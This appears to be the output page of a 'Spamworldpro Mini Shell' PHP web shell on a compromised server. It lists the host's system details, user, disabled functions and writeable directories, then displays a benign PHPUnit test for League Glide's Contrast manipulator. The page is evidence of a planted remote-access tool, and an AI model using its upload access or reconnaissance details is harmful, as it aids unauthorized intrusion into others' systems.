Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/inventory.corals.io/vendor/league/glide/tests/Manipulators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/inventory.corals.io/vendor/league/glide/tests/Manipulators/ContrastTest.php
<?php

namespace League\Glide\Manipulators;

use Mockery;
use PHPUnit\Framework\TestCase;

class ContrastTest extends TestCase
{
    private $manipulator;

    public function setUp(): void
    {
        $this->manipulator = new Contrast();
    }

    public function tearDown(): void
    {
        Mockery::close();
    }

    public function testCreateInstance()
    {
        $this->assertInstanceOf('League\Glide\Manipulators\Contrast', $this->manipulator);
    }

    public function testRun()
    {
        $image = Mockery::mock('Intervention\Image\Image', function ($mock) {
            $mock->shouldReceive('contrast')->with('50')->once();
        });

        $this->assertInstanceOf(
            'Intervention\Image\Image',
            $this->manipulator->setParams(['con' => 50])->run($image)
        );
    }

    public function testGetPixelate()
    {
        $this->assertSame(50, $this->manipulator->setParams(['con' => '50'])->getContrast());
        $this->assertSame(50, $this->manipulator->setParams(['con' => 50])->getContrast());
        $this->assertSame(null, $this->manipulator->setParams(['con' => null])->getContrast());
        $this->assertSame(null, $this->manipulator->setParams(['con' => '101'])->getContrast());
        $this->assertSame(null, $this->manipulator->setParams(['con' => '-101'])->getContrast());
        $this->assertSame(null, $this->manipulator->setParams(['con' => 'a'])->getContrast());
    }
}

Spamworldpro Mini